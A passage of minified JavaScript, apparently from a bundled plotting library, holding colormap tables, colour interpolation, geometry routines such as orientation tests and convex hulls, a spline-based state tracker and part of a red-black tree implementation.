,rgb:[0,0,255]},{index:1,rgb:[0,255,128]}],bone:[{index:0,rgb:[0,0,0]},{index:.376,rgb:[84,84,116]},{index:.753,rgb:[169,200,200]},{index:1,rgb:[255,255,255]}],copper:[{index:0,rgb:[0,0,0]},{index:.804,rgb:[255,160,102]},{index:1,rgb:[255,199,127]}],greys:[{index:0,rgb:[0,0,0]},{index:1,rgb:[255,255,255]}],yignbu:[{index:0,rgb:[8,29,88]},{index:.125,rgb:[37,52,148]},{index:.25,rgb:[34,94,168]},{index:.375,rgb:[29,145,192]},{index:.5,rgb:[65,182,196]},{index:.625,rgb:[127,205,187]},{index:.75,rgb:[199,233,180]},{index:.875,rgb:[237,248,217]},{index:1,rgb:[255,255,217]}],greens:[{index:0,rgb:[0,68,27]},{index:.125,rgb:[0,109,44]},{index:.25,rgb:[35,139,69]},{index:.375,rgb:[65,171,93]},{index:.5,rgb:[116,196,118]},{index:.625,rgb:[161,217,155]},{index:.75,rgb:[199,233,192]},{index:.875,rgb:[229,245,224]},{index:1,rgb:[247,252,245]}],yiorrd:[{index:0,rgb:[128,0,38]},{index:.125,rgb:[189,0,38]},{index:.25,rgb:[227,26,28]},{index:.375,rgb:[252,78,42]},{index:.5,rgb:[253,141,60]},{index:.625,rgb:[254,178,76]},{index:.75,rgb:[254,217,118]},{index:.875,rgb:[255,237,160]},{index:1,rgb:[255,255,204]}],bluered:[{index:0,rgb:[0,0,255]},{index:1,rgb:[255,0,0]}],rdbu:[{index:0,rgb:[5,10,172]},{index:.35,rgb:[106,137,247]},{index:.5,rgb:[190,190,190]},{index:.6,rgb:[220,170,132]},{index:.7,rgb:[230,145,90]},{index:1,rgb:[178,10,28]}],picnic:[{index:0,rgb:[0,0,255]},{index:.1,rgb:[51,153,255]},{index:.2,rgb:[102,204,255]},{index:.3,rgb:[153,204,255]},{index:.4,rgb:[204,204,255]},{index:.5,rgb:[255,255,255]},{index:.6,rgb:[255,204,255]},{index:.7,rgb:[255,153,255]},{index:.8,rgb:[255,102,204]},{index:.9,rgb:[255,102,102]},{index:1,rgb:[255,0,0]}],rainbow:[{index:0,rgb:[150,0,90]},{index:.125,rgb:[0,0,200]},{index:.25,rgb:[0,25,255]},{index:.375,rgb:[0,152,255]},{index:.5,rgb:[44,255,150]},{index:.625,rgb:[151,255,0]},{index:.75,rgb:[255,234,0]},{index:.875,rgb:[255,111,0]},{index:1,rgb:[255,0,0]}],portland:[{index:0,rgb:[12,51,131]},{index:.25,rgb:[10,136,186]},{index:.5,rgb:[242,211,56]},{index:.75,rgb:[242,143,56]},{index:1,rgb:[217,30,30]}],blackbody:[{index:0,rgb:[0,0,0]},{index:.2,rgb:[230,0,0]},{index:.4,rgb:[230,210,0]},{index:.7,rgb:[255,255,255]},{index:1,rgb:[160,200,255]}],earth:[{index:0,rgb:[0,0,130]},{index:.1,rgb:[0,180,180]},{index:.2,rgb:[40,210,40]},{index:.4,rgb:[230,230,50]},{index:.6,rgb:[120,70,20]},{index:1,rgb:[255,255,255]}],electric:[{index:0,rgb:[0,0,0]},{index:.15,rgb:[30,0,100]},{index:.4,rgb:[120,0,100]},{index:.6,rgb:[160,90,0]},{index:.8,rgb:[230,200,0]},{index:1,rgb:[255,250,220]}],alpha:[{index:0,rgb:[255,255,255,0]},{index:1,rgb:[255,255,255,1]}],viridis:[{index:0,rgb:[68,1,84]},{index:.13,rgb:[71,44,122]},{index:.25,rgb:[59,81,139]},{index:.38,rgb:[44,113,142]},{index:.5,rgb:[33,144,141]},{index:.63,rgb:[39,173,129]},{index:.75,rgb:[92,200,99]},{index:.88,rgb:[170,220,50]},{index:1,rgb:[253,231,37]}],inferno:[{index:0,rgb:[0,0,4]},{index:.13,rgb:[31,12,72]},{index:.25,rgb:[85,15,109]},{index:.38,rgb:[136,34,106]},{index:.5,rgb:[186,54,85]},{index:.63,rgb:[227,89,51]},{index:.75,rgb:[249,140,10]},{index:.88,rgb:[249,201,50]},{index:1,rgb:[252,255,164]}],magma:[{index:0,rgb:[0,0,4]},{index:.13,rgb:[28,16,68]},{index:.25,rgb:[79,18,123]},{index:.38,rgb:[129,37,129]},{index:.5,rgb:[181,54,122]},{index:.63,rgb:[229,80,100]},{index:.75,rgb:[251,135,97]},{index:.88,rgb:[254,194,135]},{index:1,rgb:[252,253,191]}],plasma:[{index:0,rgb:[13,8,135]},{index:.13,rgb:[75,3,161]},{index:.25,rgb:[125,3,168]},{index:.38,rgb:[168,34,150]},{index:.5,rgb:[203,70,121]},{index:.63,rgb:[229,107,93]},{index:.75,rgb:[248,148,65]},{index:.88,rgb:[253,195,40]},{index:1,rgb:[240,249,33]}],warm:[{index:0,rgb:[125,0,179]},{index:.13,rgb:[172,0,187]},{index:.25,rgb:[219,0,170]},{index:.38,rgb:[255,0,130]},{index:.5,rgb:[255,63,74]},{index:.63,rgb:[255,123,0]},{index:.75,rgb:[234,176,0]},{index:.88,rgb:[190,228,0]},{index:1,rgb:[147,255,0]}],cool:[{index:0,rgb:[125,0,179]},{index:.13,rgb:[116,0,218]},{index:.25,rgb:[98,74,237]},{index:.38,rgb:[68,146,231]},{index:.5,rgb:[0,204,197]},{index:.63,rgb:[0,247,146]},{index:.75,rgb:[0,255,88]},{index:.88,rgb:[40,255,8]},{index:1,rgb:[147,255,0]}],"rainbow-soft":[{index:0,rgb:[125,0,179]},{index:.1,rgb:[199,0,180]},{index:.2,rgb:[255,0,121]},{index:.3,rgb:[255,108,0]},{index:.4,rgb:[222,194,0]},{index:.5,rgb:[150,255,0]},{index:.6,rgb:[0,255,55]},{index:.7,rgb:[0,246,150]},{index:.8,rgb:[50,167,222]},{index:.9,rgb:[103,51,235]},{index:1,rgb:[124,0,186]}],bathymetry:[{index:0,rgb:[40,26,44]},{index:.13,rgb:[59,49,90]},{index:.25,rgb:[64,76,139]},{index:.38,rgb:[63,110,151]},{index:.5,rgb:[72,142,158]},{index:.63,rgb:[85,174,163]},{index:.75,rgb:[120,206,163]},{index:.88,rgb:[187,230,172]},{index:1,rgb:[253,254,204]}],cdom:[{index:0,rgb:[47,15,62]},{index:.13,rgb:[87,23,86]},{index:.25,rgb:[130,28,99]},{index:.38,rgb:[171,41,96]},{index:.5,rgb:[206,67,86]},{index:.63,rgb:[230,106,84]},{index:.75,rgb:[242,149,103]},{index:.88,rgb:[249,193,135]},{index:1,rgb:[254,237,176]}],chlorophyll:[{index:0,rgb:[18,36,20]},{index:.13,rgb:[25,63,41]},{index:.25,rgb:[24,91,59]},{index:.38,rgb:[13,119,72]},{index:.5,rgb:[18,148,80]},{index:.63,rgb:[80,173,89]},{index:.75,rgb:[132,196,122]},{index:.88,rgb:[175,221,162]},{index:1,rgb:[215,249,208]}],density:[{index:0,rgb:[54,14,36]},{index:.13,rgb:[89,23,80]},{index:.25,rgb:[110,45,132]},{index:.38,rgb:[120,77,178]},{index:.5,rgb:[120,113,213]},{index:.63,rgb:[115,151,228]},{index:.75,rgb:[134,185,227]},{index:.88,rgb:[177,214,227]},{index:1,rgb:[230,241,241]}],"freesurface-blue":[{index:0,rgb:[30,4,110]},{index:.13,rgb:[47,14,176]},{index:.25,rgb:[41,45,236]},{index:.38,rgb:[25,99,212]},{index:.5,rgb:[68,131,200]},{index:.63,rgb:[114,156,197]},{index:.75,rgb:[157,181,203]},{index:.88,rgb:[200,208,216]},{index:1,rgb:[241,237,236]}],"freesurface-red":[{index:0,rgb:[60,9,18]},{index:.13,rgb:[100,17,27]},{index:.25,rgb:[142,20,29]},{index:.38,rgb:[177,43,27]},{index:.5,rgb:[192,87,63]},{index:.63,rgb:[205,125,105]},{index:.75,rgb:[216,162,148]},{index:.88,rgb:[227,199,193]},{index:1,rgb:[241,237,236]}],oxygen:[{index:0,rgb:[64,5,5]},{index:.13,rgb:[106,6,15]},{index:.25,rgb:[144,26,7]},{index:.38,rgb:[168,64,3]},{index:.5,rgb:[188,100,4]},{index:.63,rgb:[206,136,11]},{index:.75,rgb:[220,174,25]},{index:.88,rgb:[231,215,44]},{index:1,rgb:[248,254,105]}],par:[{index:0,rgb:[51,20,24]},{index:.13,rgb:[90,32,35]},{index:.25,rgb:[129,44,34]},{index:.38,rgb:[159,68,25]},{index:.5,rgb:[182,99,19]},{index:.63,rgb:[199,134,22]},{index:.75,rgb:[212,171,35]},{index:.88,rgb:[221,210,54]},{index:1,rgb:[225,253,75]}],phase:[{index:0,rgb:[145,105,18]},{index:.13,rgb:[184,71,38]},{index:.25,rgb:[186,58,115]},{index:.38,rgb:[160,71,185]},{index:.5,rgb:[110,97,218]},{index:.63,rgb:[50,123,164]},{index:.75,rgb:[31,131,110]},{index:.88,rgb:[77,129,34]},{index:1,rgb:[145,105,18]}],salinity:[{index:0,rgb:[42,24,108]},{index:.13,rgb:[33,50,162]},{index:.25,rgb:[15,90,145]},{index:.38,rgb:[40,118,137]},{index:.5,rgb:[59,146,135]},{index:.63,rgb:[79,175,126]},{index:.75,rgb:[120,203,104]},{index:.88,rgb:[193,221,100]},{index:1,rgb:[253,239,154]}],temperature:[{index:0,rgb:[4,35,51]},{index:.13,rgb:[23,51,122]},{index:.25,rgb:[85,59,157]},{index:.38,rgb:[129,79,143]},{index:.5,rgb:[175,95,130]},{index:.63,rgb:[222,112,101]},{index:.75,rgb:[249,146,66]},{index:.88,rgb:[249,196,65]},{index:1,rgb:[232,250,91]}],turbidity:[{index:0,rgb:[34,31,27]},{index:.13,rgb:[65,50,41]},{index:.25,rgb:[98,69,52]},{index:.38,rgb:[131,89,57]},{index:.5,rgb:[161,112,59]},{index:.63,rgb:[185,140,66]},{index:.75,rgb:[202,174,88]},{index:.88,rgb:[216,209,126]},{index:1,rgb:[233,246,171]}],"velocity-blue":[{index:0,rgb:[17,32,64]},{index:.13,rgb:[35,52,116]},{index:.25,rgb:[29,81,156]},{index:.38,rgb:[31,113,162]},{index:.5,rgb:[50,144,169]},{index:.63,rgb:[87,173,176]},{index:.75,rgb:[149,196,189]},{index:.88,rgb:[203,221,211]},{index:1,rgb:[254,251,230]}],"velocity-green":[{index:0,rgb:[23,35,19]},{index:.13,rgb:[24,64,38]},{index:.25,rgb:[11,95,45]},{index:.38,rgb:[39,123,35]},{index:.5,rgb:[95,146,12]},{index:.63,rgb:[152,165,18]},{index:.75,rgb:[201,186,69]},{index:.88,rgb:[233,216,137]},{index:1,rgb:[255,253,205]}],cubehelix:[{index:0,rgb:[0,0,0]},{index:.07,rgb:[22,5,59]},{index:.13,rgb:[60,4,105]},{index:.2,rgb:[109,1,135]},{index:.27,rgb:[161,0,147]},{index:.33,rgb:[210,2,142]},{index:.4,rgb:[251,11,123]},{index:.47,rgb:[255,29,97]},{index:.53,rgb:[255,54,69]},{index:.6,rgb:[255,85,46]},{index:.67,rgb:[255,120,34]},{index:.73,rgb:[255,157,37]},{index:.8,rgb:[241,191,57]},{index:.87,rgb:[224,220,93]},{index:.93,rgb:[218,241,142]},{index:1,rgb:[227,253,198]}]}},9156:function(d,g,t){var r=t(5692),f=t(3578);d.exports=a;function a(y){var c,b,h,i,v,T,w,E,n,p,A;if(y||(y={}),E=(y.nshades||72)-1,w=y.format||"hex",T=y.colormap,T||(T="jet"),typeof T=="string"){if(T=T.toLowerCase(),!r[T])throw Error(T+" not a supported colorscale");v=r[T]}else if(Array.isArray(T))v=T.slice();else throw Error("unsupported colormap option",T);if(v.length>E+1)throw new Error(T+" map requires nshades to be at least size "+v.length);Array.isArray(y.alpha)?y.alpha.length!==2?p=[1,1]:p=y.alpha.slice():typeof y.alpha=="number"?p=[y.alpha,y.alpha]:p=[1,1],c=v.map(function(I){return Math.round(I.index*E)}),p[0]=Math.min(Math.max(p[0],0),1),p[1]=Math.min(Math.max(p[1],0),1);var m=v.map(function(I,k){var B=v[k].index,_=v[k].rgb.slice();return _.length===4&&_[3]>=0&&_[3]<=1||(_[3]=p[0]+(p[1]-p[0])*B),_}),n=[];for(A=0;A<c.length-1;++A){i=c[A+1]-c[A],b=m[A],h=m[A+1];for(var C=0;C<i;C++){var x=C/i;n.push([Math.round(f(b[0],h[0],x)),Math.round(f(b[1],h[1],x)),Math.round(f(b[2],h[2],x)),f(b[3],h[3],x)])}}return n.push(v[v.length-1].rgb.concat(p[1])),w==="hex"?n=n.map(u):w==="rgbaString"?n=n.map(s):w==="float"&&(n=n.map(l)),n}function l(y){return[y[0]/255,y[1]/255,y[2]/255,y[3]]}function u(y){for(var c,b="#",h=0;h<3;++h)c=y[h],c=c.toString(16),b+=("00"+c).substr(c.length);return b}function s(y){return"rgba("+y.join(",")+")"}},9398:function(d,g,t){d.exports=y;var r=t(417),f=t(7538),a=t(87),l=t(2019),u=t(9662);function s(c,b,h){var i=a(c[0],-b[0]),v=a(c[1],-b[1]),T=a(h[0],-b[0]),w=a(h[1],-b[1]),E=u(l(i,T),l(v,w));return E[E.length-1]>=0}function y(c,b,h,i){var v=r(b,h,i);if(v===0){var T=f(r(c,b,h)),w=f(r(c,b,i));if(T===w){if(T===0){var E=s(c,b,h),p=s(c,b,i);return E===p?0:E?1:-1}return 0}else{if(w===0)return T>0||s(c,b,i)?-1:1;if(T===0)return w>0||s(c,b,h)?1:-1}return f(w-T)}var A=r(c,b,h);if(A>0)return v>0&&r(c,b,i)>0?1:-1;if(A<0)return v>0||r(c,b,i)>0?1:-1;var m=r(c,b,i);return m>0||s(c,b,h)?1:-1}},7538:function(d){d.exports=function(t){return t<0?-1:t>0?1:0}},9209:function(d){d.exports=r;var g=Math.min;function t(f,a){return f-a}function r(f,a){var l=f.length,u=f.length-a.length;if(u)return u;switch(l){case 0:return 0;case 1:return f[0]-a[0];case 2:return f[0]+f[1]-a[0]-a[1]||g(f[0],f[1])-g(a[0],a[1]);case 3:var s=f[0]+f[1],y=a[0]+a[1];if(u=s+f[2]-(y+a[2]),u)return u;var c=g(f[0],f[1]),b=g(a[0],a[1]);return g(c,f[2])-g(b,a[2])||g(c+f[2],s)-g(b+a[2],y);case 4:var h=f[0],i=f[1],v=f[2],T=f[3],w=a[0],E=a[1],p=a[2],A=a[3];return h+i+v+T-(w+E+p+A)||g(h,i,v,T)-g(w,E,p,A,w)||g(h+i,h+v,h+T,i+v,i+T,v+T)-g(w+E,w+p,w+A,E+p,E+A,p+A)||g(h+i+v,h+i+T,h+v+T,i+v+T)-g(w+E+p,w+E+A,w+p+A,E+p+A);default:for(var m=f.slice().sort(t),n=a.slice().sort(t),C=0;C<l;++C)if(u=m[C]-n[C],u)return u;return 0}}},1284:function(d,g,t){var r=t(9209),f=t(9887);d.exports=a;function a(l,u){return r(l,u)||f(l)-f(u)}},5537:function(d,g,t){var r=t(8950),f=t(8722),a=t(3332);d.exports=l;function l(u){var s=u.length;if(s===0)return[];if(s===1)return[[0]];var y=u[0].length;return y===0?[]:y===1?r(u):y===2?f(u):a(u,y)}},8950:function(d){d.exports=g;function g(t){for(var r=0,f=0,a=1;a<t.length;++a)t[a][0]<t[r][0]&&(r=a),t[a][0]>t[f][0]&&(f=a);return r<f?[[r],[f]]:r>f?[[f],[r]]:[[r]]}},8722:function(d,g,t){d.exports=f;var r=t(3266);function f(a){var l=r(a),u=l.length;if(u<=2)return[];for(var s=new Array(u),y=l[u-1],c=0;c<u;++c){var b=l[c];s[c]=[y,b],y=b}return s}},3332:function(d,g,t){d.exports=u;var r=t(2183),f=t(2153);function a(s,y){for(var c=s.length,b=new Array(c),h=0;h<y.length;++h)b[h]=s[y[h]];for(var i=y.length,h=0;h<c;++h)y.indexOf(h)<0&&(b[i++]=s[h]);return b}function l(s,y){for(var c=s.length,b=y.length,h=0;h<c;++h)for(var i=s[h],v=0;v<i.length;++v){var T=i[v];if(T<b)i[v]=y[T];else{T=T-b;for(var w=0;w<b;++w)T>=y[w]&&(T+=1);i[v]=T}}return s}function u(s,y){try{return r(s,!0)}catch{var c=f(s);if(c.length<=y)return[];var b=a(s,c),h=r(b,!0);return l(h,c)}}},9680:function(d){function g(r,f,a,l,u,s){var y=6*u*u-6*u,c=3*u*u-4*u+1,b=-6*u*u+6*u,h=3*u*u-2*u;if(r.length){s||(s=new Array(r.length));for(var i=r.length-1;i>=0;--i)s[i]=y*r[i]+c*f[i]+b*a[i]+h*l[i];return s}return y*r+c*f+b*a[i]+h*l}function t(r,f,a,l,u,s){var y=u-1,c=u*u,b=y*y,h=(1+2*u)*b,i=u*b,v=c*(3-2*u),T=c*y;if(r.length){s||(s=new Array(r.length));for(var w=r.length-1;w>=0;--w)s[w]=h*r[w]+i*f[w]+v*a[w]+T*l[w];return s}return h*r+i*f+v*a+T*l}d.exports=t,d.exports.derivative=g},4419:function(d,g,t){var r=t(2183),f=t(1215);d.exports=s;function a(y,c){this.point=y,this.index=c}function l(y,c){for(var b=y.point,h=c.point,i=b.length,v=0;v<i;++v){var T=h[v]-b[v];if(T)return T}return 0}function u(y,c,b){if(y===1)return b?[[-1,0]]:[];var h=c.map(function(E,p){return[E[0],p]});h.sort(function(E,p){return E[0]-p[0]});for(var i=new Array(y-1),v=1;v<y;++v){var T=h[v-1],w=h[v];i[v-1]=[T[1],w[1]]}return b&&i.push([-1,i[0][1]],[i[y-1][1],-1]),i}function s(y,c){var b=y.length;if(b===0)return[];var h=y[0].length;if(h<1)return[];if(h===1)return u(b,y,c);for(var i=new Array(b),v=1,T=0;T<b;++T){for(var w=y[T],E=new Array(h+1),p=0,A=0;A<h;++A){var m=w[A];E[A]=m,p+=m*m}E[h]=p,i[T]=new a(E,T),v=Math.max(p,v)}f(i,l),b=i.length;for(var n=new Array(b+h+1),C=new Array(b+h+1),x=(h+1)*(h+1)*v,I=new Array(h+1),T=0;T<=h;++T)I[T]=0;I[h]=x,n[0]=I.slice(),C[0]=-1;for(var T=0;T<=h;++T){var E=I.slice();E[T]=1,n[T+1]=E,C[T+1]=-1}for(var T=0;T<b;++T){var k=i[T];n[T+h+1]=k.point,C[T+h+1]=k.index}var B=r(n,!1);if(c?B=B.filter(function(_){for(var F=0,O=0;O<=h;++O){var z=C[_[O]];if(z<0&&++F>=2)return!1;_[O]=z}return!0}):B=B.filter(function(_){for(var F=0;F<=h;++F){var O=C[_[F]];if(O<0)return!1;_[F]=O}return!0}),h&1)for(var T=0;T<B.length;++T){var k=B[T],E=k[0];k[0]=k[1],k[1]=E}return B}},8362:function(d){var g=!1;if(typeof Float64Array<"u"){var t=new Float64Array(1),r=new Uint32Array(t.buffer);if(t[0]=1,g=!0,r[1]===1072693248){let a=function(s,y){return r[0]=s,r[1]=y,t[0]},l=function(s){return t[0]=s,r[0]},u=function(s){return t[0]=s,r[1]};d.exports=function(y){return t[0]=y,[r[0],r[1]]},d.exports.pack=a,d.exports.lo=l,d.exports.hi=u}else if(r[0]===1072693248){let a=function(s,y){return r[1]=s,r[0]=y,t[0]},l=function(s){return t[0]=s,r[1]},u=function(s){return t[0]=s,r[0]};d.exports=function(y){return t[0]=y,[r[1],r[0]]},d.exports.pack=a,d.exports.lo=l,d.exports.hi=u}else g=!1}if(!g){let a=function(s,y){return f.writeUInt32LE(s,0,!0),f.writeUInt32LE(y,4,!0),f.readDoubleLE(0,!0)},l=function(s){return f.writeDoubleLE(s,0,!0),f.readUInt32LE(0,!0)},u=function(s){return f.writeDoubleLE(s,0,!0),f.readUInt32LE(4,!0)};var f=new Buffer(8);d.exports=function(y){return f.writeDoubleLE(y,0,!0),[f.readUInt32LE(0,!0),f.readUInt32LE(4,!0)]},d.exports.pack=a,d.exports.lo=l,d.exports.hi=u}d.exports.sign=function(a){return d.exports.hi(a)>>>31},d.exports.exponent=function(a){var l=d.exports.hi(a);return(l<<1>>>21)-1023},d.exports.fraction=function(a){var l=d.exports.lo(a),u=d.exports.hi(a),s=u&(1<<20)-1;return u&2146435072&&(s+=1048576),[l,s]},d.exports.denormalized=function(a){var l=d.exports.hi(a);return!(l&2146435072)}},3094:function(d){function g(f,a,l){var u=f[l]|0;if(u<=0)return[];var s=new Array(u),y;if(l===f.length-1)for(y=0;y<u;++y)s[y]=a;else for(y=0;y<u;++y)s[y]=g(f,a,l+1);return s}function t(f,a){var l,u;for(l=new Array(f),u=0;u<f;++u)l[u]=a;return l}function r(f,a){switch(typeof a>"u"&&(a=0),typeof f){case"number":if(f>0)return t(f|0,a);break;case"object":if(typeof f.length=="number")return g(f,a,0);break}return[]}d.exports=r},8348:function(d,g,t){d.exports=f;var r=t(1215);function f(a,l){var u=a.length;if(typeof l!="number"){l=0;for(var s=0;s<u;++s){var y=a[s];l=Math.max(l,y[0],y[1])}l=(l|0)+1}l=l|0;for(var c=new Array(l),s=0;s<l;++s)c[s]=[];for(var s=0;s<u;++s){var y=a[s];c[y[0]].push(y[1]),c[y[1]].push(y[0])}for(var b=0;b<l;++b)r(c[b],function(h,i){return h-i});return c}},5795:function(d){d.exports=g;function g(t,r,f){var a=r||0,l=f||1;return[[t[12]+t[0],t[13]+t[1],t[14]+t[2],t[15]+t[3]],[t[12]-t[0],t[13]-t[1],t[14]-t[2],t[15]-t[3]],[t[12]+t[4],t[13]+t[5],t[14]+t[6],t[15]+t[7]],[t[12]-t[4],t[13]-t[5],t[14]-t[6],t[15]-t[7]],[a*t[12]+t[8],a*t[13]+t[9],a*t[14]+t[10],a*t[15]+t[11]],[l*t[12]-t[8],l*t[13]-t[9],l*t[14]-t[10],l*t[15]-t[11]]]}},8444:function(d,g,t){d.exports=y;var r=t(9680),f=t(5070);function a(c,b,h){return Math.min(b,Math.max(c,h))}function l(c,b,h){this.dimension=c.length,this.bounds=[new Array(this.dimension),new Array(this.dimension)];for(var i=0;i<this.dimension;++i)this.bounds[0][i]=-1/0,this.bounds[1][i]=1/0;this._state=c.slice().reverse(),this._velocity=b.slice().reverse(),this._time=[h],this._scratch=[c.slice(),c.slice(),c.slice(),c.slice(),c.slice()]}var u=l.prototype;u.flush=function(c){var b=f.gt(this._time,c)-1;b<=0||(this._time.splice(0,b),this._state.splice(0,b*this.dimension),this._velocity.splice(0,b*this.dimension))},u.curve=function(c){var b=this._time,h=b.length,i=f.le(b,c),v=this._scratch[0],T=this._state,w=this._velocity,E=this.dimension,p=this.bounds;if(i<0)for(var A=E-1,m=0;m<E;++m,--A)v[m]=T[A];else if(i>=h-1)for(var A=T.length-1,n=c-b[h-1],m=0;m<E;++m,--A)v[m]=T[A]+n*w[A];else{for(var A=E*(i+1)-1,C=b[i],x=b[i+1],I=x-C||1,k=this._scratch[1],B=this._scratch[2],_=this._scratch[3],F=this._scratch[4],O=!0,m=0;m<E;++m,--A)k[m]=T[A],_[m]=w[A]*I,B[m]=T[A+E],F[m]=w[A+E]*I,O=O&&k[m]===B[m]&&_[m]===F[m]&&_[m]===0;if(O)for(var m=0;m<E;++m)v[m]=k[m];else r(k,_,B,F,(c-C)/I,v)}for(var z=p[0],N=p[1],m=0;m<E;++m)v[m]=a(z[m],N[m],v[m]);return v},u.dcurve=function(c){var b=this._time,h=b.length,i=f.le(b,c),v=this._scratch[0],T=this._state,w=this._velocity,E=this.dimension;if(i>=h-1){var p=T.length-1;c-b[h-1];for(var A=0;A<E;++A,--p)v[A]=w[p]}else{for(var p=E*(i+1)-1,m=b[i],n=b[i+1],C=n-m||1,x=this._scratch[1],I=this._scratch[2],k=this._scratch[3],B=this._scratch[4],_=!0,A=0;A<E;++A,--p)x[A]=T[p],k[A]=w[p]*C,I[A]=T[p+E],B[A]=w[p+E]*C,_=_&&x[A]===I[A]&&k[A]===B[A]&&k[A]===0;if(_)for(var A=0;A<E;++A)v[A]=0;else{r.derivative(x,k,I,B,(c-m)/C,v);for(var A=0;A<E;++A)v[A]/=C}}return v},u.lastT=function(){var c=this._time;return c[c.length-1]},u.stable=function(){for(var c=this._velocity,b=c.length,h=this.dimension-1;h>=0;--h)if(c[--b])return!1;return!0},u.jump=function(c){var b=this.lastT(),h=this.dimension;if(!(c<b||arguments.length!==h+1)){var i=this._state,v=this._velocity,T=i.length-this.dimension,w=this.bounds,E=w[0],p=w[1];this._time.push(b,c);for(var A=0;A<2;++A)for(var m=0;m<h;++m)i.push(i[T++]),v.push(0);this._time.push(c);for(var m=h;m>0;--m)i.push(a(E[m-1],p[m-1],arguments[m])),v.push(0)}},u.push=function(c){var b=this.lastT(),h=this.dimension;if(!(c<b||arguments.length!==h+1)){var i=this._state,v=this._velocity,T=i.length-this.dimension,w=c-b,E=this.bounds,p=E[0],A=E[1],m=w>1e-6?1/w:0;this._time.push(c);for(var n=h;n>0;--n){var C=a(p[n-1],A[n-1],arguments[n]);i.push(C),v.push((C-i[T++])*m)}}},u.set=function(c){var b=this.dimension;if(!(c<this.lastT()||arguments.length!==b+1)){var h=this._state,i=this._velocity,v=this.bounds,T=v[0],w=v[1];this._time.push(c);for(var E=b;E>0;--E)h.push(a(T[E-1],w[E-1],arguments[E])),i.push(0)}},u.move=function(c){var b=this.lastT(),h=this.dimension;if(!(c<=b||arguments.length!==h+1)){var i=this._state,v=this._velocity,T=i.length-this.dimension,w=this.bounds,E=w[0],p=w[1],A=c-b,m=A>1e-6?1/A:0;this._time.push(c);for(var n=h;n>0;--n){var C=arguments[n];i.push(a(E[n-1],p[n-1],i[T++]+C)),v.push(C*m)}}},u.idle=function(c){var b=this.lastT();if(!(c<b)){var h=this.dimension,i=this._state,v=this._velocity,T=i.length-h,w=this.bounds,E=w[0],p=w[1],A=c-b;this._time.push(c);for(var m=h-1;m>=0;--m)i.push(a(E[m],p[m],i[T]+A*v[T])),v.push(0),T+=1}};function s(c){for(var b=new Array(c),h=0;h<c;++h)b[h]=0;return b}function y(c,b,h){switch(arguments.length){case 0:return new l([0],[0],0);case 1:if(typeof c=="number"){var i=s(c);return new l(i,i,0)}else return new l(c,s(c.length),0);case 2:if(typeof b=="number"){var i=s(c.length);return new l(c,i,+b)}else h=0;case 3:if(c.length!==b.length)throw new Error("state and velocity lengths must match");return new l(c,b,h)}}},7080:function(d){d.exports=E;var g=0,t=1;function r(p,A,m,n,C,x){this._color=p,this.key=A,this.value=m,this.left=n,this.right=C,this._count=x}function f(p){return new r(p._color,p.key,p.value,p.left,p.right,p._count)}function a(p,A){return new r(p,A.key,A.value,A.left,A.right,A._count)}function l(p){p._count=1+(p.left?p.left._count:0)+(p.right?p.right._count:0)}function u(p,A){this._compare=p,this.root=A}var s=u.prototype;Object.defineProperty(s,"keys",{get:function(){var p=[];return this.forEach(function(A,m){p.push(A)}),p}}),Object.defineProperty(s,"values",{get:function(){var p=[];return this.forEach(function(A,m){p.push(m)}),p}}),Object.defineProperty(s,"length",{get:function(){return this.root?this.root._count:0}}),s.insert=function(p,A){for(var m=this._compare,n=this.root,C=[],x=[];n;){var I=m(p,n.key);C.push(n),x.push(I),I<=0?n=n.left:n=n.right}C.push(new r(g,p,A,null,null,1));for(var k=C.length-2;k>=0;--k){var n=C[k];x[k]<=0?C[k]=new r(n._color,n.key,n.value,C[k+1],n.right,n._count+1):C[k]=new r(n._color,n.key,n.value,n.left,C[k+1],n._count+1)}for(var k=C.length-1;k>1;--k){var B=C[k-1],n=C[k];if(B._color===t||n._color===t)break;var _=C[k-2];if(_.left===B)if(B.left===n){var F=_.right;if(F&&F._color===g)B._color=t,_.right=a(t,F),_._color=g,k-=1;else{if(_._color=g,_.left=B.right,B._color=t,B.right=_,C[k-2]=B,C[k-1]=n,l(_),l(B),k>=3){var O=C[k-3];O.left===_?O.left=B:O.right=B}break}}else{var F=_.right;if(F&&F._color===g)B._color=t,_.right=a(t,F),_._color=g,k-=1;else{if(B.right=n.left,_._color=g,_.left=n.right,n._color=t,n.left=B,n.right=_,C[k-2]=n,C[k-1]=B,l(_),l(B),l(n),k>=3){var O=C[k-3];O.left===_?O.left=n:O.right=n}break}}else if(B.right===n){var F=_.left;if(F&&F._color===g)B._color=t,_.left=a(t,F),_._color=g,k-=1;else{if(_._color=g,_.right=B.left,B._color=t,B.left=_,C[k-2]=B,C[k-1]=n,l(_),l(B),k>=3){var O=C[k-3];O.right===_?O.right=B:O.left=B}break}}else{var F=_.left;if(F&&F._color===g)B._color=t,_.left=a(t,F),_._color=g,k-=1;else{if(B.left=n.right,_._color=g,_.right=n.left,n._color=t,n.right=B,n.left=_,C[k-2]=n,C[k-1]=B,l(_),l(B),l(n),k>=3){var O=C[k-3];O.right===_?O.right=n:O.left=n}break}}}return C[0]._color=t,new u(m,C[0])};function y(p,A){if(A.left){var m=y(p,A.left);if(m)return m}var m=p(A.key,A.value);if(m)return m;if(A.right)return y(p,A.right)}function c(p,A,m,n){var C=A(p,n.key);if(C<=0){if(n.left){var x=c(p,A,m,n.left);if(x)return x}var x=m(n.key,n.value);if(x)return x}if(n.right)return c(p,A,m,n.right)}function b(p,A,m,n,C){var x=m(p,C.key),I=m(A,C.key),k;if(x<=0&&(C.left&&(k=b(p,A,m,n,C.left),k)||I>0&&(k=n(C.key,C.value),k)))return k;if(I>0&&C.right)return b(p,A,m,n,C.right)}s.forEach=function(A,m,n){if(this.root)switch(arguments.length){case 1:return y(A,this.root);case 2:return c(m,this._compare,A,this.root);case 3:return this._compare(m,n)>=0?void 0:b(m,n,this._compare,A,this.root)}},Object.defineProperty(s,"begin",{get:function(){for(var p=[],A=this.root;A;)p.push(A),A=A.left;return new h(this,p)}}),Object.defineProperty(s,"end",{get:function(){for(var p=[],A=this.root;A;)p.push(A),A=A.right;return new h(this,p)}}),s.at=function(p){if(p<0)return new h(this,[]);for(var A=this.root,m=[];;){if(m.push(A),A.left){if(p<A.left._count){A=A.left;continue}p-=A.left._count}if(!p)return new h(this,m);if(p-=1,A.right){if(p>=A.right._count)break;A=A.right}else break}return new h(this,[])},s.ge=function(p){for(var A=this._compare,m=this.root,n=[],C=0;m;){var x=A(p,m.key);n.push(m),x<=0&&(C=n.length),x<=0?m=m.left:m=m.right}return n.length=C,new h(this,n)},s.gt=function(p){for(var 